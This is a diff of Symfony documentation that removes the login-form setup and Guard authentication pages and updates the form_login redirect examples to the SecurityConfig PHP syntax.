-                'main' => [
-                    'anonymous' => true,
-                    'lazy' => true,
-                    'form_login' => [
-                        'login_path' => 'login',
-                        'check_path' => 'login',
-                    ],
-                ],
-            ],
-        ]);
-
-.. tip::
-
-    The ``login_path`` and ``check_path`` can also be route names (but cannot
-    have mandatory wildcards - e.g. ``/login/{foo}`` where ``foo`` has no
-    default value).
-
-Now, when the security system initiates the authentication process, it will
-redirect the user to the login form ``/login``. Implementing this login form
-is your job. First, create a new ``SecurityController``::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-
-    class SecurityController extends AbstractController
-    {
-    }
-
-Next, configure the route that you earlier used under your ``form_login``
-configuration (``login``):
-
-.. configuration-block::
-
-    .. code-block:: php-annotations
-
-        // src/Controller/SecurityController.php
-        namespace App\Controller;
-
-        // ...
-        use Symfony\Component\Routing\Annotation\Route;
-
-        class SecurityController extends AbstractController
-        {
-            /**
-             * @Route("/login", name="login", methods={"GET", "POST"})
-             */
-            public function login()
-            {
-            }
-        }
-
-    .. code-block:: yaml
-
-        # config/routes.yaml
-        login:
-            path:       /login
-            controller: App\Controller\SecurityController::login
-            methods: GET|POST
-
-    .. code-block:: xml
-
-        <!-- config/routes.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <routes xmlns="http://symfony.com/schema/routing"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/routing
-                https://symfony.com/schema/routing/routing-1.0.xsd">
-
-            <route id="login" path="/login" controller="App\Controller\SecurityController::login" methods="GET|POST"/>
-        </routes>
-
-    ..  code-block:: php
-
-        // config/routes.php
-        use App\Controller\SecurityController;
-        use Symfony\Component\Routing\Loader\Configurator\RoutingConfigurator;
-
-        return function (RoutingConfigurator $routes) {
-            $routes->add('login', '/login')
-                ->controller([SecurityController::class, 'login'])
-                ->methods(['GET', 'POST'])
-            ;
-        };
-
-Great! Next, add the logic to ``login()`` that displays the login form::
-
-    // src/Controller/SecurityController.php
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    public function login(AuthenticationUtils $authenticationUtils)
-    {
-        // get the login error if there is one
-        $error = $authenticationUtils->getLastAuthenticationError();
-
-        // last username entered by the user
-        $lastUsername = $authenticationUtils->getLastUsername();
-
-        return $this->render('security/login.html.twig', [
-            'last_username' => $lastUsername,
-            'error'         => $error,
-        ]);
-    }
-
-.. note::
-
-    If you get an error that the ``$authenticationUtils`` argument is missing,
-    it's probably because the controllers of your application are not defined as
-    services and tagged with the ``controller.service_arguments`` tag, as done
-    in the :ref:`default services.yaml configuration <service-container-services-load-example>`.
-
-Don't let this controller confuse you. As you'll see in a moment, when the
-user submits the form, the security system automatically handles the form
-submission for you. If the user submits an invalid username or password,
-this controller reads the form submission error from the security system,
-so that it can be displayed back to the user.
-
-In other words, your job is to *display* the login form and any login errors
-that may have occurred, but the security system itself takes care of checking
-the submitted username and password and authenticating the user.
-
-Finally, create the template:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-    {# ... you will probably extend your base template, like base.html.twig #}
-
-    {% if error %}
-        <div>{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-    {% endif %}
-
-    <form action="{{ path('login') }}" method="post">
-        <label for="username">Username:</label>
-        <input type="text" id="username" name="_username" value="{{ last_username }}"/>
-
-        <label for="password">Password:</label>
-        <input type="password" id="password" name="_password"/>
-
-        {#
-            If you want to control the URL the user
-            is redirected to on success (more details below)
-            <input type="hidden" name="_target_path" value="/account"/>
-        #}
-
-        <button type="submit">login</button>
-    </form>
-
-.. tip::
-
-    The ``error`` variable passed into the template is an instance of
-    :class:`Symfony\\Component\\Security\\Core\\Exception\\AuthenticationException`.
-    It may contain more information - or even sensitive information - about
-    the authentication failure, so use it wisely!
-
-The form can look like anything, but it usually follows some conventions:
-
-* The ``<form>`` element sends a ``POST`` request to the ``login`` route, since
-  that's what you configured under the ``form_login`` key in ``security.yaml``;
-* The username field has the name ``_username`` and the password field has the
-  name ``_password``.
-
-.. tip::
-
-    Actually, all of this can be configured under the ``form_login`` key. See
-    :ref:`reference-security-firewall-form-login` for more details.
-
-.. caution::
-
-    This login form is currently not protected against CSRF attacks. Read
-    :ref:`form_login-csrf` on how to protect your login form.
-
-And that's it! When you submit the form, the security system will automatically
-check the user's credentials and either authenticate the user or send the
-user back to the login form where the error can be displayed.
-
-To review the whole process:
-
-#. The user tries to access a resource that is protected;
-#. The firewall initiates the authentication process by redirecting the
-   user to the login form (``/login``);
-#. The ``/login`` page renders login form via the route and controller created
-   in this example;
-#. The user submits the login form to ``/login``;
-#. The security system intercepts the request, checks the user's submitted
-   credentials, authenticates the user if they are correct, and sends the
-   user back to the login form if they are not.
-
-.. _form_login-csrf:
-
-CSRF Protection in Login Forms
-------------------------------
-
-`Login CSRF attacks`_ can be prevented using the same technique of adding hidden
-CSRF tokens into the login forms. The Security component already provides CSRF
-protection, but you need to configure some options before using it.
-
-First, configure the CSRF token provider used by the form login in your security
-configuration. You can set this to use the default provider available in the
-security component:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                secured_area:
-                    # ...
-                    form_login:
-                        # ...
-                        csrf_token_generator: security.csrf.token_manager
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-
-                <firewall name="secured_area">
-                    <!-- ... -->
-                    <form-login csrf-token-generator="security.csrf.token_manager"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-
-            'firewalls' => [
-                'secured_area' => [
-                    // ...
-                    'form_login' => [
-                        // ...
-                        'csrf_token_generator' => 'security.csrf.token_manager',
-                    ],
-                ],
-            ],
-        ]);
-
-.. _csrf-login-template:
-
-Then, use the ``csrf_token()`` function in the Twig template to generate a CSRF
-token and store it as a hidden field of the form. By default, the HTML field
-must be called ``_csrf_token`` and the string used to generate the value must
-be ``authenticate``:
-
-.. code-block:: html+twig
-
-    {# templates/security/login.html.twig #}
-
-    {# ... #}
-    <form action="{{ path('login') }}" method="post">
-        {# ... the login fields #}
-
-        <input type="hidden" name="_csrf_token"
-            value="{{ csrf_token('authenticate') }}"
-        >
-
-        <button type="submit">login</button>
-    </form>
-
-After this, you have protected your login form against CSRF attacks.
-
-.. tip::
-
-    You can change the name of the field by setting ``csrf_parameter`` and change
-    the token ID by setting  ``csrf_token_id`` in your configuration:
-
-    .. configuration-block::
-
-        .. code-block:: yaml
-
-            # config/packages/security.yaml
-            security:
-                # ...
-
-                firewalls:
-                    secured_area:
-                        # ...
-                        form_login:
-                            # ...
-                            csrf_parameter: _csrf_security_token
-                            csrf_token_id: a_private_string
-
-        .. code-block:: xml
-
-            <!-- config/packages/security.xml -->
-            <?xml version="1.0" encoding="UTF-8" ?>
-            <srv:container xmlns="http://symfony.com/schema/dic/security"
-                xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                xmlns:srv="http://symfony.com/schema/dic/services"
-                xsi:schemaLocation="http://symfony.com/schema/dic/services
-                    https://symfony.com/schema/dic/services/services-1.0.xsd
-                    http://symfony.com/schema/dic/security
-                    https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-                <config>
-                    <!-- ... -->
-
-                    <firewall name="secured_area">
-                        <!-- ... -->
-                        <form-login csrf-parameter="_csrf_security_token"
-                            csrf-token-id="a_private_string"
-                        />
-                    </firewall>
-                </config>
-            </srv:container>
-
-        .. code-block:: php
-
-            // config/packages/security.php
-            $container->loadFromExtension('security', [
-                // ...
-
-                'firewalls' => [
-                    'secured_area' => [
-                        // ...
-                        'form_login' => [
-                            // ...
-                            'csrf_parameter' => '_csrf_security_token',
-                            'csrf_token_id'  => 'a_private_string',
-                        ],
-                    ],
-                ],
-            ]);
+This article describes how to customize the responses (success or failure)
+of this authenticator.
 
 Redirecting after Success
 -------------------------
@@ -438,7 +48,7 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -459,20 +69,18 @@ a relative/absolute URL or a Symfony route name:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'default_target_path' => 'after_login_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->defaultTargetPath('after_login_route_name')
+            ;
+        };
 
 Always Redirect to the default Page
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -497,7 +105,7 @@ previously requested URL and always redirect to the default page:
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -519,20 +127,18 @@ previously requested URL and always redirect to the default page:
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-
-                    'form_login' => [
-                        // ...
-                        'always_use_default_target_path' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->alwaysUseDefaultTargetPath(true)
+            ;
+        };
 
 .. _control-the-redirect-url-from-inside-the-form:
 
@@ -587,7 +193,7 @@ parameter is included in the request, you may use the value of the
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -609,19 +215,18 @@ parameter is included in the request, you may use the value of the
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'use_referer' => true,
-                    ],
-                ],
-            ],
-        ]);
+                    ->useReferer(true)
+            ;
+        };
 
 .. note::
 
@@ -655,7 +260,7 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -677,19 +282,18 @@ option to define a new target via a relative/absolute URL or a Symfony route nam
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        // ...
-                        'failure_path' => 'login_failure_route_name',
-                    ],
-                ],
-            ],
-        ]);
+                    ->failurePath('login_failure_route_name')
+            ;
+        };
 
 This option can also be set via the ``_failure_path`` request parameter:
 
@@ -732,7 +336,7 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: xml
 
         <!-- config/packages/security.xml -->
-        <?xml version="1.0" encoding="UTF-8"?>
+        <?xml version="1.0" encoding="UTF-8" ?>
         <srv:container xmlns="http://symfony.com/schema/dic/security"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xmlns:srv="http://symfony.com/schema/dic/services"
@@ -755,19 +359,19 @@ redirects can be customized using the  ``target_path_parameter`` and
     .. code-block:: php
 
         // config/packages/security.php
-        $container->loadFromExtension('security', [
+        use Symfony\Config\SecurityConfig;
+
+        return static function (SecurityConfig $security) {
             // ...
 
-            'firewalls' => [
-                'main' => [
+            $security->firewall('main')
+                // ...
+                ->formLogin()
                     // ...
-                    'form_login' => [
-                        'target_path_parameter' => 'go_to',
-                        'failure_path_parameter' => 'back_to',
-                    ],
-                ],
-            ],
-        ]);
+                    ->targetPathParameter('go_to')
+                    ->failurePathParameter('back_to')
+            ;
+        };
 
 Using the above configuration, the query string parameters and hidden form fields
 are now fully customized:
@@ -786,5 +390,3 @@ are now fully customized:
         <input type="hidden" name="back_to" value="{{ path('forgot_password') }}"/>
         <input type="submit" name="login"/>
     </form>
-
-.. _`Login CSRF attacks`: https://en.wikipedia.org/wiki/Cross-site_request_forgery#Forging_login_requests
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
deleted file mode 100644
index c7ea359c459..00000000000
--- a/security/form_login_setup.rst
+++ /dev/null
@@ -1,518 +0,0 @@
-How to Build a Login Form
-=========================
-
-.. seealso::
-
-    If you're looking for the ``form_login`` firewall option, see
-    :doc:`/security/form_login`.
-
-Ready to create a login form? First, make sure you've followed the main
-:doc:`Security Guide </security>` to install security and create your ``User``
-class.
-
-Generating the Login Form
--------------------------
-
-Creating a powerful login form can be bootstrapped with the ``make:auth`` command from
-`MakerBundle`_. Depending on your setup, you may be asked different questions
-and your generated code may be slightly different:
-
-.. code-block:: terminal
-
-    $ php bin/console make:auth
-
-    What style of authentication do you want? [Empty authenticator]:
-     [0] Empty authenticator
-     [1] Login form authenticator
-    > 1
-
-    The class name of the authenticator to create (e.g. AppCustomAuthenticator):
-    > LoginFormAuthenticator
-
-    Choose a name for the controller class (e.g. SecurityController) [SecurityController]:
-    > SecurityController
-
-    Do you want to generate a '/logout' URL? (yes/no) [yes]:
-    > yes
-
-     created: src/Security/LoginFormAuthenticator.php
-     updated: config/packages/security.yaml
-     created: src/Controller/SecurityController.php
-     created: templates/security/login.html.twig
-
-.. versionadded:: 1.8
-
-    Support for login form authentication was added to ``make:auth`` in MakerBundle 1.8.
-
-This generates the following: 1) login/logout routes & controller, 2) a template that
-renders the login form, 3) a :doc:`Guard authenticator </security/guard_authentication>`
-class that processes the login submit and 4) updates the main security config file.
-
-**Step 1.** The ``/login``/``/logout`` routes & controller::
-
-    // src/Controller/SecurityController.php
-    namespace App\Controller;
-
-    use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
-    use Symfony\Component\HttpFoundation\Response;
-    use Symfony\Component\Routing\Annotation\Route;
-    use Symfony\Component\Security\Http\Authentication\AuthenticationUtils;
-
-    class SecurityController extends AbstractController
-    {
-        /**
-         * @Route("/login", name="app_login")
-         */
-        public function login(AuthenticationUtils $authenticationUtils): Response
-        {
-            // if ($this->getUser()) {
-            //     return $this->redirectToRoute('target_path');
-            // }
-
-            // get the login error if there is one
-            $error = $authenticationUtils->getLastAuthenticationError();
-            // last username entered by the user
-            $lastUsername = $authenticationUtils->getLastUsername();
-
-            return $this->render('security/login.html.twig', ['last_username' => $lastUsername, 'error' => $error]);
-        }
-
-        /**
-         * @Route("/logout", name="app_logout")
-         */
-        public function logout()
-        {
-            throw new \LogicException('This method can be blank - it will be intercepted by the logout key on your firewall.');
-        }
-    }
-
-Edit the ``security.yaml`` file in order to declare the ``/logout`` path:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    logout:
-                        path: app_logout
-                        # where to redirect after logout
-                        # target: app_any_route
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // ...
-                    'logout' => [
-                        'path' => 'app_logout',
-                        // where to redirect after logout
-                        'target' => 'app_any_route'
-                    ],
-                ],
-            ],
-        ]);
-
-**Step 2.** The template has very little to do with security: it generates
-a traditional HTML form that submits to ``/login``:
-
-.. code-block:: html+twig
-
-    {% extends 'base.html.twig' %}
-
-    {% block title %}Log in!{% endblock %}
-
-    {% block body %}
-    <form method="post">
-        {% if error %}
-            <div class="alert alert-danger">{{ error.messageKey|trans(error.messageData, 'security') }}</div>
-        {% endif %}
-
-        {% if app.user %}
-            <div class="mb-3">
-                You are logged in as {{ app.user.username }}, <a href="{{ path('app_logout') }}">Logout</a>
-            </div>
-        {% endif %}
-
-        <h1 class="h3 mb-3 font-weight-normal">Please sign in</h1>
-        <label for="inputEmail">Email</label>
-        <input type="email" value="{{ last_username }}" name="email" id="inputEmail" class="form-control" required autofocus>
-        <label for="inputPassword">Password</label>
-        <input type="password" name="password" id="inputPassword" class="form-control" required>
-
-        <input type="hidden" name="_csrf_token"
-               value="{{ csrf_token('authenticate') }}"
-        >
-
-        {#
-            Uncomment this section and add a remember_me option below your firewall to activate remember me functionality.
-            See https://symfony.com/doc/current/security/remember_me.html
-
-            <div class="checkbox mb-3">
-                <label>
-                    <input type="checkbox" name="_remember_me"> Remember me
-                </label>
-            </div>
-        #}
-
-        <button class="btn btn-lg btn-primary" type="submit">
-            Sign in
-        </button>
-    </form>
-    {% endblock %}
-
-**Step 3.** The Guard authenticator processes the form submit::
-
-    // src/Security/LoginFormAuthenticator.php
-    namespace App\Security;
-
-    use App\Entity\User;
-    use Doctrine\ORM\EntityManagerInterface;
-    use Symfony\Component\HttpFoundation\RedirectResponse;
-    use Symfony\Component\HttpFoundation\Request;
-    use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Security\Core\Authentication\Token\TokenInterface;
-    use Symfony\Component\Security\Core\Encoder\UserPasswordEncoderInterface;
-    use Symfony\Component\Security\Core\Exception\CustomUserMessageAuthenticationException;
-    use Symfony\Component\Security\Core\Exception\InvalidCsrfTokenException;
-    use Symfony\Component\Security\Core\Security;
-    use Symfony\Component\Security\Core\User\UserInterface;
-    use Symfony\Component\Security\Core\User\UserProviderInterface;
-    use Symfony\Component\Security\Csrf\CsrfToken;
-    use Symfony\Component\Security\Csrf\CsrfTokenManagerInterface;
-    use Symfony\Component\Security\Guard\Authenticator\AbstractFormLoginAuthenticator;
-    use Symfony\Component\Security\Guard\PasswordAuthenticatedInterface;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class LoginFormAuthenticator extends AbstractFormLoginAuthenticator implements PasswordAuthenticatedInterface
-    {
-        use TargetPathTrait;
-
-        public const LOGIN_ROUTE = 'app_login';
-
-        private $entityManager;
-        private $urlGenerator;
-        private $csrfTokenManager;
-        private $passwordEncoder;
-
-        public function __construct(EntityManagerInterface $entityManager, UrlGeneratorInterface $urlGenerator, CsrfTokenManagerInterface $csrfTokenManager, UserPasswordEncoderInterface $passwordEncoder)
-        {
-            $this->entityManager = $entityManager;
-            $this->urlGenerator = $urlGenerator;
-            $this->csrfTokenManager = $csrfTokenManager;
-            $this->passwordEncoder = $passwordEncoder;
-        }
-
-        public function supports(Request $request)
-        {
-            return self::LOGIN_ROUTE === $request->attributes->get('_route')
-                && $request->isMethod('POST');
-        }
-
-        public function getCredentials(Request $request)
-        {
-            $credentials = [
-                'email' => $request->request->get('email'),
-                'password' => $request->request->get('password'),
-                'csrf_token' => $request->request->get('_csrf_token'),
-            ];
-            $request->getSession()->set(
-                Security::LAST_USERNAME,
-                $credentials['email']
-            );
-
-            return $credentials;
-        }
-
-        public function getUser($credentials, UserProviderInterface $userProvider)
-        {
-            $token = new CsrfToken('authenticate', $credentials['csrf_token']);
-            if (!$this->csrfTokenManager->isTokenValid($token)) {
-                throw new InvalidCsrfTokenException();
-            }
-
-            $user = $this->entityManager->getRepository(User::class)->findOneBy(['email' => $credentials['email']]);
-
-            if (!$user) {
-                // fail authentication with a custom error
-                throw new CustomUserMessageAuthenticationException('Email could not be found.');
-            }
-
-            return $user;
-        }
-
-        public function checkCredentials($credentials, UserInterface $user)
-        {
-            return $this->passwordEncoder->isPasswordValid($user, $credentials['password']);
-        }
-
-        /**
-         * Used to upgrade (rehash) the user's password automatically over time.
-         */
-        public function getPassword($credentials): ?string
-        {
-            return $credentials['password'];
-        }
-
-        public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-        {
-            if ($targetPath = $this->getTargetPath($request->getSession(), $providerKey)) {
-                return new RedirectResponse($targetPath);
-            }
-
-            // For example : return new RedirectResponse($this->urlGenerator->generate('some_route'));
-            throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-        }
-
-        protected function getLoginUrl()
-        {
-            return $this->urlGenerator->generate(self::LOGIN_ROUTE);
-        }
-    }
-
-**Step 4.** Updates the main security config file to enable the Guard authenticator and configure logout route:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            firewalls:
-                main:
-                    # ...
-                    guard:
-                        authenticators:
-                            - App\Security\LoginFormAuthenticator
-                    logout:
-                        path: app_logout
-
-    .. code-block:: xml
-
-        <!-- config/packages/security.xml -->
-        <?xml version="1.0" charset="UTF-8" ?>
-        <srv:container xmlns="http://symfony.com/schema/dic/security"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xmlns:srv="http://symfony.com/schema/dic/services"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd
-                http://symfony.com/schema/dic/security
-                https://symfony.com/schema/dic/security/security-1.0.xsd">
-
-            <config>
-                <!-- ... -->
-                <firewall name="main">
-                    <!-- ... -->
-                    <guard>
-                        <authenticator class="App\Security\LoginFormAuthenticator"/>
-                    </guard>
-                    <logout path="app_logout"/>
-                </firewall>
-            </config>
-        </srv:container>
-
-    .. code-block:: php
-
-        // config/packages/security.php
-        use App\Security\LoginFormAuthenticator;
-
-        $container->loadFromExtension('security', [
-            // ...
-            'firewalls' => [
-                'main' => [
-                    // ...,
-                    'guard' => [
-                        'authenticators' => [
-                            LoginFormAuthenticator::class,
-                        ]
-                    ],
-                    'logout' => [
-                        'path' => 'app_logout',
-                    ],
-                ],
-            ],
-        ]);
-
-Finishing the Login Form
-------------------------
-
-Woh. The ``make:auth`` command just did a *lot* of work for you. But, you're not done
-yet. First, go to ``/login`` to see the new login form. Feel free to customize this
-however you want.
-
-When you submit the form, the ``LoginFormAuthenticator`` will intercept the request,
-read the email (or whatever field you're using) & password from the form, find the
-``User`` object, validate the CSRF token and check the password.
-
-But, depending on your setup, you'll need to finish one or more TODOs before the
-whole process works. You will *at least* need to fill in *where* you want your user to
-be redirected after success:
-
-.. code-block:: diff
-
-    // src/Security/LoginFormAuthenticator.php
-
-    // ...
-    public function onAuthenticationSuccess(Request $request, TokenInterface $token, $providerKey)
-    {
-        // ...
-
-    -     throw new \Exception('TODO: provide a valid redirect inside '.__FILE__);
-    +     // redirect to some "app_homepage" route - of wherever you want
-    +     return new RedirectResponse($this->urlGenerator->generate('app_homepage'));
-    }
-
-Unless you have any other TODOs in that file, that's it! If you're loading users
-from the database, make sure you've loaded some :ref:`dummy users <doctrine-fixtures>`.
-Then, try to login.
-
-If you're successful, the web debug toolbar will tell you who you are and what roles
-you have:
-
-.. image:: /_images/security/symfony_loggedin_wdt.png
-   :align: center
-
-The Guard authentication system is powerful, and you can customize your authenticator
-class to do whatever you need. To learn more about what the individual methods do,
-see :doc:`/security/guard_authentication`.
-
-Controlling Error Messages
---------------------------
-
-You can cause authentication to fail with a custom message at any step by throwing
-a custom :class:`Symfony\\Component\\Security\\Core\\Exception\\CustomUserMessageAuthenticationException`.
-But in some cases, like if you return ``false`` from ``checkCredentials()``, you
-may see an error that comes from the core of Symfony - like ``Invalid credentials.``.
-
-To customize this message, you could throw a ``CustomUserMessageAuthenticationException``
-instead. Or, you can :doc:`translate </translation>` the message through the ``security``
-domain:
-
-.. configuration-block::
-
-    .. code-block:: xml
-
-        <!-- translations/security.en.xlf -->
-        <?xml version="1.0"?>
-        <xliff version="1.2" xmlns="urn:oasis:names:tc:xliff:document:1.2">
-            <file source-language="en" datatype="plaintext" original="file.ext">
-                <body>
-                    <trans-unit id="Invalid credentials.">
-                        <source>Invalid credentials.</source>
-                        <target>The password you entered was invalid!</target>
-                    </trans-unit>
-                </body>
-            </file>
-        </xliff>
-
-    .. code-block:: yaml
-
-        # translations/security.en.yaml
-        'Invalid credentials.': 'The password you entered was invalid!'
-
-    .. code-block:: php
-
-        // translations/security.en.php
-        return [
-            'Invalid credentials.' => 'The password you entered was invalid!',
-        ];
-
-If the message isn't translated, make sure you've installed the ``translator``
-and try clearing your cache:
-
-.. code-block:: terminal
-
-    $ php bin/console cache:clear
-
-Redirecting to the Last Accessed Page with ``TargetPathTrait``
---------------------------------------------------------------
-
-The last request URI is stored in a session variable named
-``_security.<your providerKey>.target_path`` (e.g. ``_security.main.target_path``
-if the name of your firewall is ``main``). Most of the times you don't have to
-deal with this low level session variable. However, the
-:class:`Symfony\\Component\\Security\\Http\\Util\\TargetPathTrait` utility
-can be used to read (like in the example above) or set this value manually.
-
-When the user tries to access a restricted page, they are being redirected to
-the login page. At that point target path will be set. After a successful login,
-the user will be redirected to this previously set target path.
-
-If you also want to apply this behavior to public pages, you can create an
-:doc:`event subscriber </event_dispatcher>` to set the target path manually
-whenever the user browses a page::
-
-    // src/EventSubscriber/RequestSubscriber.php
-    namespace App\EventSubscriber;
-
-    use Symfony\Component\EventDispatcher\EventSubscriberInterface;
-    use Symfony\Component\HttpFoundation\Session\SessionInterface;
-    use Symfony\Component\HttpKernel\Event\RequestEvent;
-    use Symfony\Component\HttpKernel\KernelEvents;
-    use Symfony\Component\Security\Http\Util\TargetPathTrait;
-
-    class RequestSubscriber implements EventSubscriberInterface
-    {
-        use TargetPathTrait;
-
-        private $session;
-
-        public function __construct(SessionInterface $session)
-        {
-            $this->session = $session;
-        }
-
-        public function onKernelRequest(RequestEvent $event): void
-        {
-            $request = $event->getRequest();
-            if (
-                !$event->isMasterRequest()
-                || $request->isXmlHttpRequest()
-                || 'app_login' === $request->attributes->get('_route')
-            ) {
-                return;
-            }
-
-            $this->saveTargetPath($this->session, 'main', $request->getUri());
-        }
-
-        public static function getSubscribedEvents()
-        {
-            return [
-                KernelEvents::REQUEST => ['onKernelRequest']
-            ];
-        }
-    }
-
-.. _`MakerBundle`: https://symfony.com/doc/current/bundles/SymfonyMakerBundle/index.html
diff --git a/security/guard_authentication.rst b/security/guard_authentication.rst
deleted file mode 100644
index 99d86c6c781..00000000000
--- a/security/guard_authentication.rst
+++ /dev/null
@@ -1,582 +0,0 @@
-.. index::
-    single: Security; Custom Authentication
-
-Custom Authentication System with Guard (API Token Example)
-===========================================================
-
-Guard authentication can be used to:
-
-* :doc:`Build a Login Form </security/form_login_setup>`
-* Create an API token authentication system (see below)
-* `Social Authentication`_ (or use `HWIOAuthBundle`_ for a robust non-Guard solution)
-* Integrate with some proprietary single-sign-on system
-
-and many more. In this example, we'll build an API token authentication
-system, so we can learn more about Guard in detail.
-
-.. tip::
-
-    A :doc:`new experimental authenticator-based system </security/experimental_authenticators>`
-    was introduced in Symfony 5.1, which will eventually replace Guards in Symfony 6.0.
-
-Step 1) Prepare your User Class
--------------------------------
-
-Suppose you want to build an API where your clients will send an ``X-AUTH-TOKEN`` header
-on each request with their API token. Your job is to read this and find the associated
-user (if any).
-
-First, make sure you've followed the main :doc:`Security Guide </security>` to
-create your ``User`` class. Then add an ``apiToken`` property directly to
-your ``User`` class (the ``make:entity`` command is a good way to do this):
-
-.. code-block:: diff
-
-    // src/Entity/User.php
-    namespace App\Entity;
-
-    // ...
-
-    class User implements UserInterface
-    {
-        // ...
-
-    +     /**
-    +      * @ORM\Column(type="string", unique=true, nullable=true)
-    +      */
-    +     private $apiToken;
-
-        // the getter and setter methods
-    }
-
-Don't forget to generate and run the migration:
-
-.. code-block:: terminal
-
-    $ php bin/console make:migration
-    $ php bin/console doctrine:migrations:migrate
-
-Next, configure your "user provider" to use this new ``apiToken`` property:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/packages/security.yaml
-        security:
-            # ...
-
-            providers:
-                your_db_provider:
-                    entity:
-                        class: App\Entity\User
